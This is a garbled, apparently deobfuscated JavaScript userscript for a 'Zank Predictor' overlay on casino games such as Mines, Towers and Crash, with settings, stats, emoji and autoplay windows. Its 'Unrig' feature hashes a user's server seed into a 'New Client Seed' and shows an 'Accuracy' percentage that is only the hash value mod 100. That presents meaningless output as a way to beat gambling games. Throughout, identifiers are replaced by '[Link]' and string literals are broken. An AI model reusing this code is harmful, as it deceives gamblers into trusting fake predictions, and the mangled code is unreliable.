/** @type {(Element|null)} */
var directButton =
[Link]("predictionTypeButton");
/** @type {(Element|null)} */
var bumpLimit = [Link]("spotsSlider");
/** @type {(Element|null)} */
var percentNumber = [Link]("spotsLabel");
/** @type {!ClientRect} */
var targetShapeBounds = [Link]();
/** @type {number} */
var targetL = [Link] + [Link] /
2 - [Link] / 2;
/** @type {number} */
var y_body_bottom = [Link] +
[Link] / 2 - [Link] / 2;
/** @type {(Element|null)} */
var iframe = [Link]("settingsWindow");
/** @type {string} */
[Link] = targetL + "px";
/** @type {string} */
[Link] = y_body_bottom + "px";
[Link]("click", clickHandler);
_eleChordList.addEventListener("click", onClick);
[Link]("click", softShowFieldDetails);
[Link]("click", function() {
[Link]();
/** @type {string} */
[Link] = "auto";
/** @type {string} */
[Link] = "none";
/** @type {string} */
[Link] = "none";
push(event);
});
[Link]("input", function(newRepoState) {
/** @type {number} */
var title = parseInt([Link]);
/** @type {number} */
[Link] = title;
/** @type {string} */
var buttonDownColor = "linear-gradient(to right, var(--
baseColor) 0%, var(--baseColor) " + (title - 1) / 24 * 100 + "%, #383838 " + (title
- 1) / 24 * 100 + "%, #383838 100%)";
/** @type {string} */
[Link] = buttonDownColor;
push(newRepoState);
});
};
/**
* @return {undefined}
*/
var callback = function() {
[Link]("beforeend", '\n
<div id="autoPlayWindow">\n <div
id="autoPlayTitleBar">\n <div
id="autoPlayTitleContainer">\n
<span id="autoPlayTitle">Auto Play</span>\n
</div>\n <button
id="autoExitButton">-</button>\n </div>\
n <div id="autoPlayContainer"
class="centered">\n <div
id="autoPlayContainerRow1" class="centered">\n
<button id="minesAutoPlayButton">Mines</button>\n
<button id="towersAutoPlayButton">Towers</button>\n
</div>\n </div>\n
</div>\n ');
/** @type {(Element|null)} */
var divDot = [Link]("autoPlayWindow");
/** @type {(Element|null)} */
var openLoginScreenBtn =
[Link]("minesAutoPlayButton");
/** @type {(Element|null)} */
var ajaxButton = [Link]("towersAutoPlayButton");
/** @type {(Element|null)} */
var directButton = [Link]("autoExitButton");
/** @type {!ClientRect} */
var targetShapeBounds = [Link]();
/** @type {number} */
var targetL = [Link] + [Link] /
2 - [Link] / 2;
/** @type {number} */
var y_body_bottom = [Link] +
[Link] / 2 - [Link] / 2;
/** @type {(Element|null)} */
var iframe = [Link]("settingsWindow");
/** @type {string} */
[Link] = targetL + "px";
/** @type {string} */
[Link] = y_body_bottom + "px";
[Link]("click",
function(newRepoState) {
build();
push(newRepoState);
});
[Link]("click", function(newRepoState) {
open();
push(newRepoState);
});
[Link]("click", function() {
[Link]();
/** @type {string} */
[Link] = "auto";
/** @type {string} */
[Link] = "none";
/** @type {string} */
[Link] = "none";
push(event);
});
};
/**
* @return {undefined}
*/
var update = function() {
[Link]("beforeend", '\n
<div id="emojiChangerWindow">\n <div
id="emojiChangerTitleBar">\n
<div id="emojiChangerTitleContainer">\n
<span id="emojiChangerTitle">Emoji Changer</span>\n
</div>\n <button
id="emojiExitButton">-</button>\n
</div>\n <div
id="emojiChangerButtons" class="centered">\n
<div class="predict-emoji-container">\n
<label id="safeLabel" for="safeEmoji">Safe Emoji:</label>\n
<input type="text" id="safeEmoji" placeholder="\u2705" />\n
<label id="mineLabel" for="mineEmoji">Mine Emoji:</label>\n
<input type="text" id="mineEmoji" placeholder="\ud83d\udca3" />\n
</div>\n <div class="grid-emoji-
container">\n <label
id="gridLabel" for="gridEmoji">Grid Emoji:</label>\n
<input type="text" id="gridEmoji" placeholder="\u2753" />\n
<label id="riskLabel" for="riskEmoji">Risk Emoji:</label>\n
<input type="text" id="riskEmoji" placeholder="\u26a0\ufe0f" />\n
</div>\n <div class="button-
container">\n <button
id="emojiSaveButton">Save</button>\n
<button id="emojiCancelButton">Cancel</button>\n
</div>\n </div>\n
</div>\n ');
/** @type {(Element|null)} */
var divDot = [Link]("emojiChangerWindow");
/** @type {(Element|null)} */
var openLoginScreenBtn =
[Link]("emojiExitButton");
/** @type {!ClientRect} */
var targetShapeBounds = [Link]();
/** @type {number} */
var targetL = [Link] + [Link] /
2 - [Link] / 2;
/** @type {number} */
var y_body_bottom = [Link] +
[Link] / 2 - [Link] / 2;
/** @type {(Element|null)} */
var iframe = [Link]("settingsWindow");
/** @type {string} */
[Link] = targetL + "px";
/** @type {string} */
[Link] = y_body_bottom + "px";
/** @type {(Element|null)} */
var editAccountPass = [Link]("safeEmoji");
/** @type {(Element|null)} */
var nodeBlog = [Link]("gridEmoji");
/** @type {(Element|null)} */
var passwdEl = [Link]("mineEmoji");
/** @type {(Element|null)} */
var togglButtonDescription =
[Link]("riskEmoji");
/** @type {(Element|null)} */
var ajaxButton = [Link]("emojiSaveButton");
/** @type {(Element|null)} */
var directButton = [Link]("emojiCancelButton");
[Link] = [Link]("safeEmoji") || "";
[Link] = [Link]("gridEmoji") || "";
[Link] = [Link]("mineEmoji") || "";
[Link] = [Link]("riskEmoji")
|| "";
[Link]("click",
function(newRepoState) {
[Link]();
/** @type {string} */
[Link] = "auto";
/** @type {string} */
[Link] = "none";
/** @type {string} */
[Link] = "none";
push(newRepoState);
});
[Link]("click", function(newRepoState) {
var NEWmadvStaticFocalUnicodeCharacter = [Link];
var NEWmadvLongWordTriggerCharacterCount = [Link];
var NEWmadvLongWordMinCharacterPerSlidePostSplit =
[Link];
var NEWmadvLongWordCharacterTriggerDoNotJoin =
[Link];
[Link]("safeEmoji",
NEWmadvStaticFocalUnicodeCharacter);
[Link]("gridEmoji",
NEWmadvLongWordTriggerCharacterCount);
[Link]("riskEmoji",
NEWmadvLongWordCharacterTriggerDoNotJoin);
[Link]("mineEmoji",
NEWmadvLongWordMinCharacterPerSlidePostSplit);
[Link]();
/** @type {string} */
[Link] = "auto";
/** @type {string} */
[Link] = "none";
push(newRepoState);
});
[Link]("click", function(newRepoState) {
[Link]();
/** @type {string} */
[Link] = "auto";
/** @type {string} */
[Link] = "none";
push(newRepoState);
});
};
/**
* @return {undefined}
*/
var showDialog = function() {
[Link]("beforeend", '\n
<div id="statsWindow">\n <div
id="statsTitleBar">\n <div
id="statsTitleContainer">\n
<span id="statsTitle">Statistics</span>\n
</div>\n <button
id="statsExitButton">-</button>\n
</div>\n <span id="lossCounter"/span>\n
<span id="winCounter"</span>\n <div
id="statsContainer" class="centered">\n
<div id="rateContainer">\n <div
id="rateLabels">\n <span
id="lossRate">Loss Rate:</span>\n
<span id="winRate">Win Rate:</span>\n
</div>\n <div
id="ratePercentages">\n
<span id="lossPercentage">0%</span>\n
<span id="winPercentage">0%</span>\n
</div>\n </div>\n
<div class="circle-container">\n
<div class="hollow-circle"></div>\n
</div>\n </div>\n
</div>\n ');
getData();
/** @type {(Element|null)} */
var divDot = [Link]("statsWindow");
/** @type {(Element|null)} */
var openLoginScreenBtn =
[Link]("statsExitButton");
/** @type {!ClientRect} */
var targetShapeBounds = [Link]();
/** @type {number} */
var targetL = [Link] + [Link] /
2 - [Link] / 2;
/** @type {number} */
var y_body_bottom = [Link] +
[Link] / 2 - [Link] / 2;
/** @type {(Element|null)} */
var iframe = [Link]("settingsWindow");
/** @type {string} */
[Link] = targetL + "px";
/** @type {string} */
[Link] = y_body_bottom + "px";
[Link]("click", function() {
[Link]();
/** @type {string} */
[Link] = "auto";
/** @type {string} */
[Link] = "none";
/** @type {string} */
[Link] = "none";
push(event);
});
};
/**
* @return {undefined}
*/
var getData = function() {
if ([Link]("winCounter") !== null &&
[Link]("lossCounter") !== null &&
[Link]("winPercentage") !== null &&
[Link]("lossPercentage") !== null) {
l = i;
/** @type {number} */
distance = height - i;
/** @type {number} */
var width = height === 0 ? 0 : l / height * 100;
/** @type {number} */
var s = height === 0 ? 0 : distance / height * 100;
/** @type {(Element|null)} */
var td1b2 = [Link]("winPercentage");
/** @type {(Element|null)} */
var userReposCount = [Link]("lossPercentage");
/** @type {(Element|null)} */
var afterPreview = [Link](".hollow-circle");
/** @type {string} */
[Link] = [Link](2) + "%";
/** @type {string} */
[Link] = [Link](2) + "%";
[Link]("--winPercentage", width + "%");
[Link]("--lossPercentage", s + "%");
}
};
/**
* @return {undefined}
*/
var setup = function() {
/**
* @return {undefined}
*/
function setup() {
/** @type {(Element|null)} */
var exMap = [Link]("movableMenu");
/** @type {(Element|null)} */
var xdata = [Link]("settingsWindow");
/** @type {(Element|null)} */
var otweets = [Link]("movableImage");
if (exMap) {
[Link]();
}
if (xdata) {
[Link]();
}
if (otweets) {
[Link]();
}
[Link]("ZankPredictorLicenseKey");
create();
}
/**
* @param {string} str
* @return {?}
*/
function encode(str) {
const resols = [];
for (let i = 0; i < [Link]; i = i + 2) {
[Link](parseInt([Link](i, 2), 16));
}
return new Uint8Array(resols);
}
/**
* @param {string} url
* @return {?}
*/
function shouldGoBack(url) {
url = [Link]();
if (!/^[a-fA-F0-9]{64}$/.test(url)) {
return false;
}
return true;
}
/**
* @param {string} text
* @return {undefined}
*/
function copyValueToClipboard(text) {
/** @type {!Element} */
var copyTextarea = [Link]("textarea");
/** @type {string} */
[Link] = text;
[Link](copyTextarea);
[Link]();
[Link]("copy");
[Link](copyTextarea);
}
[Link]("beforeend", '\n
<div id="settingsWindow">\n <div
id="settingsTitleBar">\n <div
id="settingsTitleContainer">\n
<span id="settingsTitle">Settings</span>\n
</div>\n <button
id="exitButton">-</button>\n </div>\
n <div id="settingsContainer">\n
<div id="settingsContainerRow1" class="centered">\n
<button id="changeColorButton">Colors</button>\n
<button id="changeBindsButton">Keybinds</button>\n
</div>\n <div
id="settingsContainerRow2" class="centered">\n
<button id="unrigButton">Unrig</button>\n
<button id="autoPlayButton">Autoplay</button>\n
</div>\n <div
id="settingsContainerRow3" class="centered">\n
<button id="emojiButton">Emojis</button>\n
<button id="statsButton">Stats</button>\n
</div>\n <div
id="settingsContainerRow4" class="centered">\n
<button id="logoutButton">Logout</button>\n
</div>\n </div>\n
</div>\n ');
/** @type {(Element|null)} */
var elem = [Link]("settingsWindow");
/** @type {(Element|null)} */
var openLoginScreenBtn = [Link]("exitButton");
/** @type {(Element|null)} */
var ajaxButton = [Link]("changeColorButton");
/** @type {(Element|null)} */
var directButton = [Link]("changeBindsButton");
/** @type {(Element|null)} */
var toggleHighlightedCourses =
[Link]("autoPlayButton");
/** @type {(Element|null)} */
var orientationButton = [Link]("logoutButton");
/** @type {(Element|null)} */
var threeDBtn = [Link]("emojiButton");
/** @type {(Element|null)} */
var lAActionRemove = [Link]("statsButton");
/** @type {!ClientRect} */
var targetShapeBounds = [Link]();
/** @type {number} */
var targetL = [Link] + [Link] /
2 - [Link] / 2;
/** @type {number} */
var y_body_bottom = [Link] +
[Link] / 2 - [Link] / 2;
/** @type {string} */
[Link] = targetL + "px";
/** @type {string} */
[Link] = y_body_bottom + "px";
[Link]("click", function() {
[Link]();
/** @type {string} */
[Link] = "auto";
/** @type {string} */
[Link] = "auto";
/** @type {string} */
[Link] = "none";
/** @type {string} */
[Link] = "none";
/** @type {boolean} */
_0x17a5da = false;
push(event);
});
[Link]("click", function() {
/** @type {string} */
[Link] = "none";
/** @type {string} */
[Link] = "blur(4px)";
/** @type {string} */
[Link] = "blur(4px)";
showDialog();
push(event);
});
[Link]("click", function() {
/** @type {string} */
[Link] = "none";
/** @type {string} */
[Link] = "blur(4px)";
/** @type {string} */
[Link] = "blur(4px)";
move();
push(event);
});
[Link]("click", function() {
/** @type {string} */
[Link] = "none";
/** @type {string} */
[Link] = "blur(4px)";
/** @type {string} */
[Link] = "blur(4px)";
update();
push(event);
});
[Link]("click", function() {
/** @type {string} */
[Link] = "none";
/** @type {string} */
[Link] = "blur(4px)";
/** @type {string} */
[Link] = "blur(4px)";
render();
push(event);
});
[Link]("click", function() {
/** @type {string} */
[Link] = "none";
/** @type {string} */
[Link] = "blur(4px)";
/** @type {string} */
[Link] = "blur(4px)";
callback();
push(event);
});
[Link]("click", function() {
setup();
init();
push(event);
});
/** @type {(Element|null)} */
var toggleMaximizeElement =
[Link]("unrigButton");
const CryptoJS = [Link];
[Link]("click", function() {
push(event);
/** @type {(null|string)} */
var text = prompt("Please enter your server seed:");
if (text) {
if (!shouldGoBack(text)) {
alert("Invalid server seed");
return;
}
/** @type {string} */
var value = btoa(encode(text));
var total_pageviews_raw = CryptoJS.SHA256(value).toString();
var searchSummaryText = total_pageviews_raw.slice(0, 9) + "-"
+ total_pageviews_raw.slice(9, 18);
/** @type {number} */
var widestInView = [Link](parseInt(total_pageviews_raw, 16)
% 100, 100);
/** @type {number} */
widestInView = [Link](widestInView, 1);
copyValueToClipboard(searchSummaryText);
alert("New Client Seed: " + searchSummaryText + " (Copied to
clipboard)\nAccuracy: " + widestInView + "%");
}
});
};
/**
* @return {undefined}
*/
var onKeyDown = function() {
keyDown();
};
/**
* @param {!Event} event
* @return {undefined}
*/
var changeCodemirrorHeight = function(event) {
var pre = [Link][0];
close(pre);
};
/**
* @param {!Event} touchEvent
* @return {undefined}
*/
var _touchMoveHandler = function(touchEvent) {
var createNew = [Link][0];
stop(createNew);
};
/**
* @return {undefined}
*/
var keyDown = function() {
/** @type {boolean} */
_0x276872 = false;
};
/**
* @param {!Event} e
* @return {undefined}
*/
var close = function(e) {
if (_0x276872) {
/** @type {string} */
[Link] = [Link] - startx + "px";
/** @type {string} */
[Link] = [Link] - starty + "px";
}
};
/**
* @param {!Event} state
* @return {undefined}
*/
var stop = function(state) {
/** @type {boolean} */
_0x276872 = true;
/** @type {number} */
startx = [Link] -
parseInt([Link](el).left);
/** @type {number} */
starty = [Link] -
parseInt([Link](el).top);
};
/**
* @param {!MouseEvent} repoState
* @return {undefined}
*/
var push = function(repoState) {
if (repoState instanceof MouseEvent) {
const previewPlayer = new Audio("[Link]
/** @type {number} */
[Link] = 0;
[Link]();
}
};
/**
* @return {undefined}
*/
var resetClickFn = function() {
remove();
};
/**
* @param {!Event} e
* @return {undefined}
*/
var endresize = function(e) {
var expr = [Link][0];
show(expr);
};
/**
* @param {!Event} event
* @return {undefined}
*/
var e = function(event) {
var tx = [Link][0];
func(tx);
};
/**
* @return {undefined}
*/
var remove = function() {
/** @type {boolean} */
_0x276872 = false;
if (!_0x54010a) {
/** @type {(Element|null)} */
var new_link_node = [Link]("movableMenu");
if (new_link_node) {
new_link_node.[Link]("hidden");
push(event);
}
}
};
/**
* @param {!Event} e
* @return {undefined}
*/
var show = function(e) {
if (_0x276872) {
/** @type {boolean} */
_0x54010a = true;
/** @type {string} */
[Link] = [Link] - startx + 3 + "px";
/** @type {string} */
[Link] = [Link] - starty + 3 + "px";
}
};
/**
* @param {!Event} event
* @return {undefined}
*/
var func = function(event) {
/** @type {boolean} */
_0x276872 = true;
/** @type {number} */
startx = [Link] -
parseInt([Link](element).left);
/** @type {number} */
starty = [Link] -
parseInt([Link](element).top);
/** @type {boolean} */
_0x54010a = false;
};
clearInterval(chat_retry);
/** @type {(Element|null)} */
var exMap = [Link]("loginWindow");
if (exMap) {
[Link]();
setGlobalStyles();
draw();
}
/** @type {string} */
var CONTAINER_TEMPLATE = '\n
<div id="movableImage">\n <img
src="[Link] id="menuImage" alt="Menu Image">\n
</div>\n ';
/** @type {string} */
var styles = "\n #movableImage
{\n position: fixed;\n
top: 38%;\n left: 43%;\n
width: 70px;\n height: 70px;\n
z-index: 9999;\n cursor: pointer;\n
}\n\n #menuImage {\n
width: 70%;\n height: 70%;\n
border-radius: 50%;\n border: 2px solid
var(--baseColor);\n box-shadow: 0 0 4px 2px
var(--baseColor);\n }\n
";
/** @type {!Element} */
var styleElt = [Link]("style");
/** @type {string} */
[Link] = styles;
[Link](styleElt);
[Link]("beforeend", CONTAINER_TEMPLATE);
/** @type {(Element|null)} */
var element = [Link]("movableImage");
/** @type {(Element|null)} */
var demoBtn = [Link]("menuImage");
/** @type {string} */
[Link] = "none";
/** @type {boolean} */
var _0x276872 = false;
/** @type {boolean} */
var _0x54010a = false;
/** @type {number} */
var startx = 0;
/** @type {number} */
var starty = 0;
[Link]("mousedown", func);
[Link]("mousemove", show);
[Link]("mouseup", remove);
[Link]("touchstart", e);
[Link]("touchmove", endresize);
[Link]("touchend", resetClickFn);
[Link]("click", function(newRepoState) {
if (!_0x54010a) {
/** @type {(Element|null)} */
var new_link_node = [Link]("movableMenu");
new_link_node.[Link]("hidden");
push(newRepoState);
}
});
/** @type {string} */
CONTAINER_TEMPLATE = '\n <div
id="movableMenu">\n <div id="menuTitleBar">\
n <div id="menuTitleContainer">\n
<img src="[Link] id="menuLogo" alt="Logo">\n
<span id="menuTitle">Zank Predictor |
</div>\n <button id="settingsButton">\
u2699</button>\n <button
id="hideButton">-</button>\n </div>\n
<div id="menuContent">\n <div
id="buttonsContainer">\n <div>\n
<button id="minepredictButton">Mines</button>\n
</div>\n <div>\n
<button id="safepredictButton">Safe</button>\n
</div>\n <div>\n
<button id="towerpredictButton">Towers</button>\n
</div>\n <div>\n
<button id="crashpredictButton">Crash</button>\n
</div>\n <div>\n
<button id="roulettepredictButton">Slide</button>\n
</div>\n </div>\n
<div id="window">\n <div
id="predictionLabel">Welcome to Zank!' +

+ "</div>\n </div>\n
</div>\n </div>\n
";
/** @type {string} */
styles = "\n #movableMenu {\n
position: fixed;\n top: 35%;\n
left: 40%;\n width: 400px;\n
height: 250px;\n z-index: 9999;\n
border-radius: 10px;\n background-color:
var(--themeBaseColor);\n border: 1px solid
var(--baseColor);\n box-shadow: 0 0 4px 2px
var(--baseColor);\n }\n\n
#movableMenu {\n filter: drop-shadow(0 px
8px rgba(0, 0, 0, 0.7));\n }\n\n
#menuTitleBar {\n height: 30px;\n
border-top-left-radius: 10px;\n border-top-
right-radius: 10px;\n background-color:
var(--themeSecondColor);\n display: flex;\n
align-items: center;\n justify-content:
space-between;\n font-size: 18px;\n
padding: 0 10px;\n }\n\n
#menuTitleContainer {\n display: flex;\n
align-items: center;\n }\n\n
#menuContent {\n padding: 10px;\n
display: flex;\n align-items: flex-start;\n
}\n\n #menuLogo {\n
width: 20px;\n height: 20px;\n
margin-right: 5px;\n }\n\n
#menuTitle {\n color: var(--
themeFourthColor);\n }\n\n
#[Link] {\n display: none;\n
}\n\n #window {\n
width: 198px;\n height: 198px;\n
flex: 1;\n border-radius: 4px;\n
background-color: var(--themeSecondColor);\n
margin-left: 5px;\n display: flex; /* Use
flexbox to align items */\n align-items:
center; /* Vertically center the content */\n
justify-content: center; /* Horizontally center the content */\n
box-shadow: 2px 2px 4px rgba(0, 0, 0, 0.2);\n }\
n\n #predictionLabel {\n
font-size: 24px;\n font-weight: bold;\n
color: var(--themeFourthColor);\n white-
space: pre;\n line-height: 30px;\n
text-align: center;\n }\n\n
.centered {\n display: flex;\n
justify-content: center;\n align-items:
center;\n }\n\n
#buttonsContainer {\n display: flex;\n
flex-direction: column;\n align-items: flex-
start;\n }\n\n
#settingsButton {\n width: 22px;\n
height: 22px;\n margin-right: 5px;\n
margin-left: auto;\n background: var(--
themeThirdColor);\n border: none;\n
border-radius: 30px;\n color: var(--
themeFourthColor);\n font-size: 12px;\n
cursor: pointer;\n padding: 0;\n
box-shadow: 2px 2px 3px rgba(0, 0, 0, 0.1);\n
transition: background-color 0.5s;\n }\n\n
#settingsButton:hover {\n background-color:
var(--hoverColor);\n }\n\n
#settingsButton:active {\n background-color:
var(--activeColor);\n }\n\n
#hideButton {\n width: 22px;\n
height: 22px;\n background: var(--
themeThirdColor);\n border: none;\n
border-radius: 30px;\n color: var(--
themeFourthColor);\n font-size: 18px;\n
cursor: pointer;\n padding: 0;\n
box-shadow: 2px 2px 3px rgba(0, 0, 0, 0.1);\n
transition: background-color 0.5s;\n }\n\n
#hideButton:hover {\n background-color:
#ff4545;\n }\n\n
#hideButton:active {\n background-color:
#942828;\n }\n\n
#minepredictButton,\n #safepredictButton,\n
#towerpredictButton,\n #crashpredictButton,\n
#roulettepredictButton {\n width: 75px;\n
height: 32px;\n background-color: var(--
themeSecondColor);\n color: var(--
themeFourthColor);\n border: none;\n
border-radius: 4px;\n font-size: 16px;\n
cursor: pointer;\n margin-right: 5px;\n
margin-bottom: 5px;\n box-shadow: 2px 2px
4px rgba(0, 0, 0, 0.2);\n transition:
background-color 0.5s;\n }\n\n
#minepredictButton:hover,\n
#safepredictButton:hover,\n
#towerpredictButton:hover,\n
#crashpredictButton:hover,\n
#roulettepredictButton:hover {\n background-
color: var(--hoverColor);\n }\n\n
#minepredictButton:active,\n
#safepredictButton:active,\n
#towerpredictButton:active,\n
#crashpredictButton:active,\n
#roulettepredictButton:active {\n
background-color: var(--activeColor);\n }\n\n
.darkBackground {\n background-color:
rgba(0, 0, 0, 0.5);\n }\n\n
.outlined {\n box-shadow: 0 0 0 0 #d6000f;\n
transition: box-shadow 0.5s ease-in-out;\n }\n\n
.[Link] {\n box-shadow: 0 0 8px 6px
#d6000f;\n }\n\n
.outlinedWarned {\n box-shadow: 0 0 8px 6px
#cfa1a4;\n transition: box-shadow 0.5s ease-
in-out;\n }\n\n
.[Link] {\n
box-shadow: 0 0 8px 6px #cfa1a4;\n }\n\n
.safeoutlined {\n box-shadow: 0 0 0 0 var(--
baseColor);\n transition: box-shadow 0.5s
ease-in-out;\n }\n\n
.[Link] {\n box-shadow: 0 0 8px
4px var(--baseColor);\n }\n
";
/** @type {!Element} */
styleElt = [Link]("style");
/** @type {string} */
[Link] = styles;
[Link](styleElt);
[Link]("beforeend", CONTAINER_TEMPLATE);
/** @type {(Element|null)} */
var el = [Link]("movableMenu");
/** @type {(Element|null)} */
var doc = [Link]("menuTitleBar");
/** @type {boolean} */
_0x276872 = false;
/** @type {number} */
startx = 0;
/** @type {number} */
starty = 0;
[Link]("mousedown", stop);
[Link]("mousemove", close);
[Link]("mouseup", keyDown);
[Link]("touchstart", _touchMoveHandler);
[Link]("touchmove", changeCodemirrorHeight);
[Link]("touchend", onKeyDown);
/** @type {(Element|null)} */
var openLoginScreenBtn = [Link]("hideButton");
[Link]("click", function() {
[Link]("hidden");
push(event);
});
/** @type {boolean} */
var _0x17a5da = false;
/** @type {(Element|null)} */
var ajaxButton = [Link]("settingsButton");
[Link]("click", function() {
/** @type {string} */
[Link] = "none";
/** @type {string} */
[Link] = "none";
/** @type {string} */
[Link] = "blur(4px)";
/** @type {string} */
[Link] = "blur(4px)";
/** @type {boolean} */
_0x17a5da = true;
setup();
push(event);
});
/** @type {!Element} */
styleElt = [Link]("style");
/** @type {string} */
[Link] = "\n
#settingsWindow {\n position: fixed;\n
top: calc(50% - 87.5px); /* Centers the window vertically */\n
left: calc(50% - 125px); /* Centers the window horizontally */\n
width: 250px;\n height: 175px;\n
background-color: var(--themeBaseColor);\n
border-radius: 10px;\n box-shadow: 0 0 8px
rgba(0, 0, 0, 0.4);\n z-index: 99999;\n
box-shadow: 0 0 4px 2px var(--baseColor);\n }\n\
n #settingsTitleBar {\n
height: 30px;\n border-top-left-radius:
10px;\n border-top-right-radius: 10px;\n
background-color: var(--themeSecondColor);\n
display: flex;\n align-items: center;\n
justify-content: space-between;\n font-size:
16px;\n padding: 0 5px;\n
}\n\n #settingsTitleContainer {\n
display: flex;\n align-items: center;\n
}\n\n #settingsTitle {\n
padding: 0 10px;\n color: var(--
themeFourthColor);\n text-decoration:
underline;\n }\n\n
#exitButton {\n width: 20px;\n
height: 20px;\n background: var(--
themeThirdColor);\n border: none;\n
border-radius: 5px;\n color: var(--
themeFourthColor);\n font-size: 18px;\n
cursor: pointer;\n padding: 0;\n
box-shadow: 2px 2px 3px rgba(0, 0, 0, 0.1);\n
transition: background-color 0.5s;\n margin-
left: auto;\n }\n\n
#exitButton:hover {\n background-color:
#ff4545;\n }\n\n
#exitButton:active {\n background-color:
#942828;\n }\n\n
#settingsContainer {\n margin-top: 3px;\n
position: centered;\n display: flex;\n
flex-direction: column;\n align-items:
center; /* Center the components horizontally */\n
justify-content: center; /* Center the components vertically */\n
}\n\n #statsButton,\n
#sizeButton,\n #emojiButton,\n
#autoPlayButton,\n #unrigButton,\n
#logoutButton,\n #changeColorButton,\n
#changeBindsButton {\n width: 75px;\n
height: 30px;\n font-size: 16px;\n
border: none;\n border-radius: 4px;\n
background-color: var(--themeThirdColor);\n
color: var(--themeFourthColor);\n cursor:
pointer;\n box-shadow: 2px 2px 3px rgba(0,
0, 0, 0.1);\n transition: background-color
0.5s;\n margin: 2px 2px;\n
}\n\n #statsButton:hover,\n
#sizeButton:hover,\n #emojiButton:hover,\n
#autoPlayButton:hover,\n #unrigButton:hover,\n
#logoutButton:hover,\n
#changeColorButton:hover,\n
#changeBindsButton:hover {\n background-
color: var(--hoverColor);\n }\n\n
#statsButton:active,\n #sizeButton:active,\n
#emojiButton:active,\n #autoPlayButton:active,\n
#unrigButton:active,\n #logoutButton:active,\n
#changeColorButton:active,\n
#changeBindsButton:active {\n background-
color: var(--activeColor);\n }\n\n
";
[Link](styleElt);
/** @type {number} */
var height = parseInt([Link]("gameStartCounter")) ||
0;
/** @type {number} */
var i = parseInt([Link]("cashoutCounter")) || 0;
/** @type {number} */
var l = 0;
/** @type {number} */
var distance = 0;
[Link]("click", function(mutationEvent) {
/** @type {(EventTarget|null)} */
var node = [Link];
if ([Link]("gameBetSubmit")) {
var stroke_prev = [Link]();
if (stroke_prev === "Start new game") {
height++;
[Link]("gameStartCounter", height);
} else {
if (stroke_prev.startsWith("Cashout")) {
i++;
[Link]("cashoutCounter", i);
}
}
}
});
setInterval(getData, 1000);
/** @type {!Element} */
styleElt = [Link]("style");
/** @type {string} */
[Link] = "\n
#statsWindow {\n position: fixed;\n
top: calc(50% - 87.5px); /* Centers the window vertically */\n
left: calc(50% - 125px); /* Centers the window horizontally */\n
width: 250px;\n height: 175px;\n
background-color: var(--themeBaseColor);\n
border-radius: 10px;\n box-shadow: 0 0 8px
rgba(0, 0, 0, 0.4);\n z-index: 99999;\n
box-shadow: 0 0 4px 2px var(--baseColor);\n }\n\
n #statsTitleBar {\n
height: 30px;\n border-top-left-radius:
10px;\n border-top-right-radius: 10px;\n
background-color: var(--themeSecondColor);\n
display: flex;\n align-items: center;\n
justify-content: space-between;\n font-size:
16px;\n padding: 0 5px;\n
}\n\n #statsTitleContainer {\n
display: flex;\n align-items: center;\n
}\n\n #statsTitle {\n
padding: 0 10px;\n color: var(--
themeFourthColor);\n text-decoration:
underline;\n }\n\n
#statsContainer {\n position: relative; /*
Set position to relative */\n display:
flex;\n align-items: center; /* Center
horizontally */\n justify-content: space-
between; /* Distribute items */\n }\n\n
.hollow-circle {\n width: 100px;\n
height: 100px;\n background-color:
transparent;\n border: 10px solid
transparent;\n border-radius: 50%;\n
position: relative;\n }\n\n
.hollow-circle::before {\n content: '';\n
display: block;\n box-shadow: 2px 2px 3px
rgba(0, 0, 0, 0.1);\n width: 100%;\n
height: 100%;\n border-radius: 50%;\n
border: 5px solid var(--themeThirdColor);\n
position: absolute;\n top: 0;\n
left: 0;\n transform: rotate(90deg);\n
background: conic-gradient(\n from -
90deg,\n #19ba0b var(--winPercentage,
0%),\n #c71e1e var(--winPercentage, 0%)
var(--lossPercentage, 0%),\n #c71e1e
var(--lossPercentage, 0%) 100%,\n
#19ba0b 100%\n );\n
border-image-slice: 1;\n }\n\n
#lossRate,\n #lossPercentage,\n
#winRate,\n #winPercentage {\n
color: var(--themeFourthColor);\n font-size:
14.9px;\n }\n\n
#winRate,\n #lossRate {\n
margin-left:20px;\n }\n\n
#rateContainer {\n margin-top: 10px;\n
display: flex;\n align-items: center;\n
justify-content: space-between;\n margin-
top:10px;\n }\n\n
#rateLabels,\n #ratePercentages {\n
display: flex;\n flex-direction: column;\n
align-items: flex-start;\n }\n\n
.circle-container {\n display: flex;\n
margin-top: 12px;\n align-items: center;\n
justify-content: center;\n margin-
right:20px;\n }\n\n
#statsExitButton {\n margin-left: auto;\n
width: 20px;\n height: 20px;\n
background: var(--themeThirdColor);\n
border: none;\n border-radius: 5px;\n
color: var(--themeFourthColor);\n font-size:
18px;\n cursor: pointer;\n
padding: 0;\n box-shadow: 2px 2px 3px
rgba(0, 0, 0, 0.1);\n transition:
background-color 0.5s;\n }\n\n
#statsExitButton:hover {\n background-color:
#ff4545;\n }\n\n
#statsExitButton:active {\n background-
color: #942828;\n }\n
";
[Link](styleElt);
/** @type {!Element} */
styleElt = [Link]("style");
/** @type {string} */
[Link] = "\n
#emojiChangerWindow {\n position: fixed;\n
top: calc(50% - 87.5px); /* Centers the window vertically */\n
left: calc(50% - 125px); /* Centers the window horizontally */\n
width: 250px;\n height: 175px;\n
background-color: var(--themeBaseColor);\n
border-radius: 10px;\n box-shadow: 0 0 8px
rgba(0, 0, 0, 0.4);\n z-index: 99999;\n
box-shadow: 0 0 4px 2px var(--baseColor);\n }\n\
n #emojiChangerTitleBar {\n
height: 30px;\n border-top-left-radius:
10px;\n border-top-right-radius: 10px;\n
background-color: var(--themeSecondColor);\n
display: flex;\n align-items: center;\n
justify-content: space-between;\n font-size:
16px;\n padding: 0 5px;\n
}\n\n #emojiChangerTitleContainer {\n
display: flex;\n align-items: center;\n
}\n\n #emojiChangerTitle {\n
padding: 0 10px;\n color: var(--
themeFourthColor);\n text-decoration:
underline;\n }\n\n
.grid-emoji-container label,\n .predict-emoji-
container label {\n font-size: 14px; /*
Increase font size for the labels */\n
color: var(--themeFourthColor);\n margin-
bottom: 5px; /* Adjust spacing between labels and input fields */\n
margin-right: 5px; /* Adjust spacing between labels and input fields */\n
}\n\n #emojiChangerButtons {\n
margin-top: 25px;\n position: centered;\n
display: flex;\n flex-direction: column;\n
align-items: center; /* Center the components horizontally */\n
justify-content: center; /* Center the components vertically */\n
}\n\n #riskEmoji,\n
#mineEmoji,\n #safeEmoji,\n
#gridEmoji {\n height: 20px;\n
width: 34px;\n padding: 8px;\n
color: var(--themeFourthColor);\n margin-
bottom: 10px;\n border-radius: 5px;\n
